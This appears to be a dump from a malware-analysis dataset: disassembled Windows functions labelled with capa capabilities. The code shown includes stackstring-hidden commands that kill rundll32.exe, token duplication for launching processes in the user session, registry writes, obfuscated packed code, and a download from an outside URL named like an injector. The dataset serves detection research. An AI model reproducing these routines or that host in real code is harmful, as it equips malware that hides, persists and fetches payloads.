joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4064e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10c
lea eax, [esp]
push 0xa
lea ecx, [esp + 0x10]
push eax
push ecx
mov ecx, dword [0x40ab54]
mov byte [esp + 0xc], 0x4d
mov byte [esp + 0xd], 0x6f
mov byte [esp + 0xe], 0x74
mov byte [esp + 0xf], 0x68
mov byte [esp + 0x10], 0x65
mov byte [esp + 0x11], 0x72
mov byte [esp + 0x12], 0x33
mov byte [esp + 0x13], 0x36
mov byte [esp + 0x14], 0x30
mov byte [esp + 0x15], 0
call fcn.004046f0
mov edx, dword [esp + 0x114]
mov eax, dword [esp + 0x110]
and edx, 0xffff
lea ecx, [esp + 0xc]
push edx
push eax
push ecx
mov ecx, dword [0x40ab54]
call fcn.00404790
add esp, 0x10c
ret

Function at 0x406590
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x68
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebp
push esi
push edi
push str.userenv.dll
call ebx
mov ebp, eax
push str.CreateEnvironmentBlock
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x20], eax
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x34]
rep stosd dword es:[edi], eax
mov dword [esp + 0x24], eax
xor esi, esi
mov dword [esp + 0x28], eax
mov dword [esp + 0x1c], esi
mov dword [esp + 0x2c], eax
mov dword [esp + 0x18], esi
mov dword [esp + 0x30], eax
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], esi
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], esi
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], esi
mov dword [esp + 0x34], 0x44
mov dword [esp + 0x3c], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [esp + 0x14]
push ecx
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x10]
push edx
push 1
push 1
push esi
push 0x2000000
push eax
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
push str.WTSGetActiveConsoleSessionId
push str.Kernel32.dll
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, esi
je 0x4066bc
call eax
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push 4
push ecx
push 0xc
push edx
mov dword [esp + 0x28], eax
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
mov eax, dword [esp + 0x10]
push esi
lea ecx, [esp + 0x20]
push eax
push ecx
call dword [esp + 0x2c]
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x24]
lea eax, [esp + 0x34]
push edx
mov edx, dword [esp + 0x80]
push eax
mov eax, dword [esp + 0x18]
push esi
push ecx
push 0x430
push esi
push esi
push esi
push edx
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
mov ecx, dword [esp + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x24]
push ecx
call ebx
mov edx, dword [esp + 0x14]
push edx
call ebx
jmp 0x4066be
xor edi, edi
cmp ebp, esi
je 0x4066c9
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x68
ret
Function at 0x4066e0
Capabilities:
Check os version

Disassembly:
sub esp, 0x598
lea eax, [esp]
mov dword [esp], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x10], 2
jne 0x40676b
cmp dword [esp + 4], 6
jae 0x406724
mov eax, dword [0x40a564]
test eax, eax
je 0x40671d
push 0x40ab58
call fcn.00405e20
add esp, 4
call fcn.004061d0
jmp 0x40676b
lea ecx, [esp + 0x94]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x94]
lea eax, [esp + 0x198]
push edx
push str._s_Win7
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0x1a4]
push ecx
call fcn.00406590
add esp, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x40a564]
test eax, eax
je 0x406781
push 0x40ab58
call fcn.00405e20
add esp, 4
add esp, 0x598
ret

Function at 0x4067a0
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
nop
mov bl, 0x6c
mov byte [ebp - 0x10], 0x72
mov byte [ebp - 0xf], 0x75
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x64
mov byte [ebp - 0xc], bl
mov byte [ebp - 0xb], bl
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x78
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], 0
nop
lea eax, [ebp - 0x10]
push eax
call fcn.004071b0
add esp, 4
test eax, eax
je 0x40686a
mov al, 0x6b
mov dl, 0x69
mov byte [ebp - 0x2d], al
mov byte [ebp - 0x2c], al
mov al, 0x20
mov cl, 0x2f
mov byte [ebp - 0x30], 0x74
mov byte [ebp - 0x2f], 0x61
mov byte [ebp - 0x2e], 0x73
mov byte [ebp - 0x2b], dl
mov byte [ebp - 0x2a], bl
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], al
mov byte [ebp - 0x27], cl
mov byte [ebp - 0x26], 0x66
mov byte [ebp - 0x25], al
mov byte [ebp - 0x24], cl
mov byte [ebp - 0x23], dl
mov byte [ebp - 0x22], 0x6d
mov byte [ebp - 0x21], al
mov byte [ebp - 0x20], 0x72
mov byte [ebp - 0x1f], 0x75
mov byte [ebp - 0x1e], 0x6e
mov byte [ebp - 0x1d], 0x64
mov byte [ebp - 0x1c], bl
mov byte [ebp - 0x1b], bl
mov byte [ebp - 0x1a], 0x33
mov byte [ebp - 0x19], 0x32
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x78
mov byte [ebp - 0x15], 0x65
mov byte [ebp - 0x14], 0
nop
nop
lea ecx, [ebp - 0x30]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407120
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], ecx
mov byte [esp + 0x10], dl
call esi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
mov dword [esp + 0x14], eax
call esi
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x30]
push eax
mov eax, dword [esp + 0x20]
lea edx, [esp + 8]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x4070d0
push eax
push ecx
call sub.MSVCRT.dll__beginthreadex
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x4071b0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 0
call esi
nop
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0
mov ebx, eax
call esi
nop
push 0x128
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
push 0
call esi
nop
push 0
mov dword [edi], 0x128
call esi
nop
push 0
call esi
push edi
push ebx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x407275
push 0
call esi
nop
nop
push 0
call esi
mov ecx, dword [ebp + 8]
lea eax, [edi + 0x24]
push ecx
mov ecx, dword [0x40ab54]
push eax
call fcn.004042a0
test eax, eax
push 0
jne 0x407240
call esi
push 0
call esi
mov ebx, dword [edi + 8]
nop
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
push 0
call esi
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
ret
call esi
nop
push edi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x407275
push 0
call esi
nop
mov edx, dword [ebp + 8]
lea eax, [edi + 0x24]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x407296
nop
push 0
call esi
push edi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40724e
push 0
call esi
nop
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
push 0
call esi
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret
nop
push 0
call esi
mov ebx, dword [edi + 8]
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
push 0
call esi
nop
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
ret
Function at 0x407620
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x408290
push 0x407902
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x23c
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x20], ebx
mov byte [ebp - 0x124], bl
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x123]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x24c]
push eax
push 0x20019
push ebx
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40768e
mov dword [ebp - 0x20], 0xffffffff
jmp 0x4076f4
cmp dword [ebp + 0x24], ebx
jne 0x4076f4
mov eax, dword [ebp + 0x14]
cmp eax, ebx
jbe 0x4076f4
cmp eax, 2
ja 0x4076f4
mov dword [ebp - 0x1c], 0x104
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x124]
push ecx
lea edx, [ebp + 0x14]
push edx
push ebx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x24c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4076f4
lea edx, [ebp - 0x124]
push edx
mov ecx, dword [0x40ab54]
call fcn.00404330
push eax
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [0x40ab54]
call fcn.00404550
mov dword [ebp - 0x20], 1
mov dword [ebp - 4], 0xffffffff
call fcn.00407716
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x407730
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4082a0
push 0x407902
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 0x20]
sub eax, ebx
je 0x407767
dec eax
je 0x40778a
jmp 0x4077df
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x24]
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4077df
lea ecx, [ebp - 0x24]
push ecx
push 0x2001f
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4077df
mov edi, dword [ebp + 0x14]
cmp edi, ebx
jbe 0x4077df
cmp edi, 2
ja 0x4077df
mov esi, dword [ebp + 0x18]
push esi
mov ecx, dword [0x40ab54]
call fcn.004044d0
inc eax
push eax
push esi
push edi
push ebx
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x4077df
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.004077ff
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x7b07f4
Capabilities:
Encode data using xor

Disassembly:
cmp dword [ebp + 0x14], ecx
pushal
push dword [esp]
lea esp, [esp + 0x28]
jb 0x7de3f1
pushal
lea esp, [esp + 0x20]
ja 0x7afcd8
mov si, 0x84ac
pushal
mov esi, dword [esp + 0x20]
lea ebx, [esp - 0x381b576b]
jmp 0x7d1d8b
movzx cx, bl
movsx ecx, bl
setge bh
mov ebx, dword [esp + 0x28]
pushfd
push ecx
mov ecx, dword [esp + 0x34]
call fcn.007a8eee
pushal
call fcn.007b1489
mov dword [ebx], 0x455dcb19
pop ecx
jb 0x7a1ffd
dec edi
aam 0x2a
ret 0x569e
mov ecx, 0xc526c0d4
shl byte [esi], 0xc5
xor dword [edx + ebp*8 + 0x72], ebx
movsb byte es:[edi], byte [esi]
sbb dh, ah
cmpsb byte [esi], byte es:[edi]
mov edi, 0xd7cd75b2
or edx, dword [edi + 0x2467a532]
movsb byte es:[edi], byte [esi]
xchg edx, eax
jecxz 0x7a1fff
inc esp
ror dword [ecx + ebp*2], 0xd9
inc ecx
les edx, [ebx]
test dword [edx], ebp
inc esp
mov al, byte [edx - 0x44f29a64]
rcl ebp, cl
dec edi
cmp edi, dword [ebx]
mov cl, 0xef
dec edi
or edx, ebp
sar dword [edi - 0x14], 1
mov eax, 0x8681771c
nop
leave
and al, ah
int1
xchg byte [eax - 0xe3bdd37], dl
pop esp
in al, dx
js 0x7a203f
and byte [di + 0x53], ch
neg dword [edi + 0x35d15cb0]
jl 0x7a202b
sti
inc ebx
pop ss
invalid
and cl, al
adc ch, dh
mov ecx, dword [esi + 4]
stc
or ecx, ecx
jnp 0x7a1fc0
je 0x710667
bsr edi, esp
shr bl, 4
add dword [ebp - 4], ecx
jmp 0x7cdcd3
add esi, 2
push 0x46426f5d
jmp 0x7dad75
add bl, ah
bsr bx, sp
test ch, 0x35
sub ecx, 8
sbb bx, si
shr ecx, 1
shl bh, cl
mov edi, dword [esi]
not bx
bt bp, 0xb
movzx bx, dl
bsf bx, sp
add edi, dword [ebp + 0x10]
and bl, dl
add esi, 8
bts bx, 7
bt ebp, esi
mov bx, word [esi]
call fcn.007b2d0a
pushfd
mov edi, dword [esp + 0x28]
mov bl, byte [esp + 8]
mov ebx, dword [esp + 0x2c]
jmp 0x7d3a18
mov ecx, dword [esp + 0x30]
pushfd
jmp 0x70f632
push 0x35f3a351
dec ecx
pushfd
push 0x4be79180
lea esp, [esp + 0x18]
jne 0x7cdd00
rcl cl, 3
ror cl, 1
shld cx, bx, 5
rol ecx, 0xc
mov ecx, dword [ebp - 4]
cmc
pushfd
jmp 0x71064b
ja 0x7afcd8
movzx edi, bl
setbe bh
not esi
pushal
mov esi, dword [esp + 0x20]
lea ebx, [ecx*4 + 0x60c87362]
mov edi, dword [esp + 0x24]
jmp 0x7113e3
jmp 0x7dbc40
Function at 0x401a30
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5c2ce8
mov eax, dword fs:[0]
push eax
sub esp, 0x60
push esi
mov eax, dword [0x68683c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
mov esi, dword [sym.imp.MSVCR100.dll_system]
push 0x6544d8
call esi
add esp, 4
lea ecx, [ebp - 0x68]
call fcn.00408860
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.004077e0
mov dword [ebp - 0x18], 0x654a1c
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 2
call fcn.004088d0
cmp dword [ebp + 0x1c], 0x10
mov eax, dword [ebp + 8]
jae 0x401aa4
lea eax, [ebp + 8]
push eax
push str.https:__shiroryu.com_enjoyers_InjekSimple2.mentah
lea ecx, [ebp - 0x68]
call fcn.00408920
cmp al, 1
je 0x401b28
push 0x6545d4
push ecx
lea ecx, [ebp - 0x68]
call fcn.00407dd0
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push ecx
call fcn.00406470
add esp, 0xc
push eax
call fcn.00406470
push str.pause
call esi
mov byte [ebp - 4], 1
add esp, 0xc
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x18], vtable.CkHttpProgress.0
call fcn.00407840
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0
call fcn.004087f0
cmp dword [ebp + 0x1c], 0x10
jb 0x401b16
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x18], vtable.CkHttpProgress.0
call fcn.00407840
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0
call fcn.004087f0
cmp dword [ebp + 0x1c], 0x10
jb 0x401b5a
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4020c0
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
mov eax, dword [0x68683c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.MSVCR100.dll_sprintf]
push str.C:WindowsAF
lea eax, [ebp - 0x108]
push str._s.
push eax
call edi
add esp, 0xc
lea ecx, [ebp - 0x248]
push ecx
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, eax
mov edi, edi
lea eax, [ebp - 0x21c]
push eax
push str.C:WindowsAF
lea ecx, [ebp - 0x108]
push str._s_s
push ecx
call edi
add esp, 0x10
lea edx, [ebp - 0x108]
push edx
call ebx
lea eax, [ebp - 0x248]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x402110
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005a6cf8
mov esp, ebp
pop ebp
ret
Function at 0x405b00
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5c2d98
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x68683c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x405c92
cmp byte [ebx + 0x49], 0
je 0x405c92
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x405c86
lea esi, [ebp - 0x2c]
call fcn.00405650
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x405b73
lea edx, [ebp - 0x2c]
mov eax, edx
lea ecx, [ebp - 0x30]
push ecx
mov ecx, dword [ebp - 0x1c]
add ecx, edx
push ecx
mov ecx, dword [ebx + 0x44]
push eax
lea eax, [ebx + 0x4c]
push eax
call dword [sym.imp.MSVCP100.dll_public:_int___thiscall_std::codecvt_char__char__int_::unshift_int___char___char___char___const]
sub eax, 0
je 0x405bab
dec eax
je 0x405baf
sub eax, 2
lea esi, [ebp - 0x2c]
je 0x405c8d
call fcn.00404210
xor al, al
jmp 0x405c94
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x405bbf
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x405bed
cmp edi, 0x10
jae 0x405bce
lea eax, [ebp - 0x2c]
mov edx, dword [ebx + 0x54]
push edx
push esi
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x405c7e
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x405c8a
test esi, esi
jne 0x405b67
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x405caf
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x405caf
cmp edi, esi
jae 0x405c67
push ecx
push esi
lea eax, [ebp - 0x2c]
push eax
call fcn.00406300
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x405b67
mov ecx, eax
cmp edi, 0x10
jae 0x405c43
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x405c5e
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x405b61
test esi, esi
jne 0x405c39
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x405c76
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x405b61
lea esi, [ebp - 0x2c]
call fcn.00404210
xor al, al
jmp 0x405c94
lea esi, [ebp - 0x2c]
call fcn.00404210
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005a6cf8
mov esp, ebp
pop ebp
ret
push str.string_too_long
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
int3
Function at 0x407730
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5c30a8
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x68683c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov dword [ebp - 0x80], eax
mov dword [ebp - 4], eax
cmp dword [ebp + 0x1c], 0x10
mov byte [ebp - 0x7c], al
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
jae 0x407793
lea eax, [ebp + 8]
push eax
mov eax, dword [ebp + 0x18]
lea esi, [ebp - 0x7c]
call fcn.004074f0
mov ecx, esi
call fcn.004075a0
mov ecx, edi
mov ebx, esi
call fcn.00407680
cmp dword [ebp + 0x1c], 0x10
jb 0x4077c2
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005a6cf8
mov esp, ebp
pop ebp
ret
Function at 0x420bf0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi + 8]
mov esi, ecx
cmp eax, dword [ebx + 8]
je 0x420c0f
pop edi
pop esi
xor al, al
pop ebx
pop ebp
ret 8
xor edx, edx
cmp eax, edx
jne 0x420c2f
mov dword [esi + 8], edx
cmp byte [esi + 0x11], dl
je 0x420c8c
pop edi
mov dword [esi + 0x14], edx
mov dword [esi + 0xc], edx
mov byte [esi + 0x11], dl
pop esi
mov al, 1
pop ebx
pop ebp
ret 8
cmp byte [esi + 0x10], 0xdb
je 0x420c47
push edx
call fcn.0040b200
add esp, 4
pop edi
pop esi
xor al, al
pop ebx
pop ebp
ret 8
cmp dword [esi + 0xc], eax
jae 0x420c58
push eax
call fcn.0041c220
test al, al
je 0x420c06
xor edx, edx
mov eax, dword [edi + 8]
mov ecx, dword [esi + 0xc]
mov dword [esi + 8], eax
cmp eax, ecx
jbe 0x420c68
mov dword [esi + 8], ecx
cmp dword [esi + 0x14], edx
je 0x420c06
xor eax, eax
cmp dword [edi + 8], edx
jbe 0x420c8c
mov ecx, dword [edi + 0x14]
mov edx, dword [ebx + 0x14]
mov cl, byte [ecx + eax]
xor cl, byte [edx + eax]
mov edx, dword [esi + 0x14]
mov byte [eax + edx], cl
inc eax
cmp eax, dword [edi + 8]
jb 0x420c74
pop edi
pop esi
mov al, 1
pop ebx
pop ebp
ret 8
Function at 0x43e200
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5ac3b6
mov eax, dword fs:[0]
push eax
sub esp, 0x148
mov eax, dword [0x68683c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov edx, dword [ebp + 0x20]
mov ebx, dword [ebp + 0x14]
mov esi, ecx
mov ecx, dword [ebp + 0x1c]
mov dword [ebp - 0x14c], eax
push 4
lea eax, [esi + 0x2ad8]
mov dword [ebp - 0x140], ecx
push eax
mov ecx, edi
mov dword [ebp - 0x148], edx
call fcn.00416220
mov ecx, ebx
call fcn.0041b6b0
mov ecx, dword [esi + 0xb84]
mov edx, dword [esi + 0xb80]
mov eax, dword [ebp - 0x140]
push 0
push 0
push ecx
push edx
push eax
lea ecx, [ebp - 0x144]
call fcn.0046f6f0
mov ecx, esi
mov dword [ebp - 4], 0
call fcn.0044b3c0
mov byte [esi + 0x17e4], 1
call sub.KERNEL32.dll_GetTickCount
mov dword [ebp - 0x140], eax
xor eax, eax
lea ecx, [ebp - 0x144]
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x150], eax
call fcn.0046e990
push eax
lea ecx, [ebp - 0x138]
call fcn.004ba990
mov ecx, dword [ebp - 0x148]
push ecx
lea edx, [ebp - 0x138]
push edx
mov edx, dword [ebp + 0x10]
lea eax, [ebp - 0x154]
push eax
push ebx
lea ecx, [esi + 0x1280]
push ecx
mov ecx, dword [ebp - 0x14c]
push 0
push edx
mov byte [ebp - 4], 1
mov dword [ebp - 0x110], 0
call fcn.00414880
push eax
push esi
lea eax, [esi + 0x1688]
push eax
lea ebx, [esi + 0x2950]
push ebx
mov ecx, edi
call fcn.00414880
push eax
push esi
call fcn.004e5ad0
mov ecx, dword [ebp - 0x110]
mov dl, byte [ebp - 0x11a]
add esp, 0x34
mov byte [ebp - 0x139], al
mov dword [esi + 0xc30], ecx
mov byte [esi + 0x10ab], dl
call sub.KERNEL32.dll_GetTickCount
mov ecx, dword [ebp - 0x140]
mov edi, dword [ebp - 0x148]
cmp eax, ecx
jb 0x43e370
sub eax, ecx
push eax
push str.totalElapsedMs
mov ecx, edi
call fcn.00459e10
cmp byte [ebp - 0x139], 0
push edi
je 0x43e3b8
lea ecx, [ebp - 0x144]
call fcn.0046f740
mov eax, dword [esi + 0x155c]
mov ecx, dword [esi + 0x1558]
push eax
push ecx
push str.ContentLength
lea ecx, [esi + 0x908]
call fcn.00459ef0
cmp dword [esi + 0x1554], 0x190
jl 0x43e3bf
mov byte [ebp - 0x139], 0
jmp 0x43e3bf
mov ecx, ebx
call fcn.004cb080
lea ecx, [ebp - 0x138]
mov byte [ebp - 4], 0
call fcn.004baa50
lea ecx, [ebp - 0x144]
mov dword [ebp - 4], 0xffffffff
call fcn.0046e9b0
mov al, byte [ebp - 0x139]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005a6cf8
mov esp, ebp
pop ebp
ret 0x1c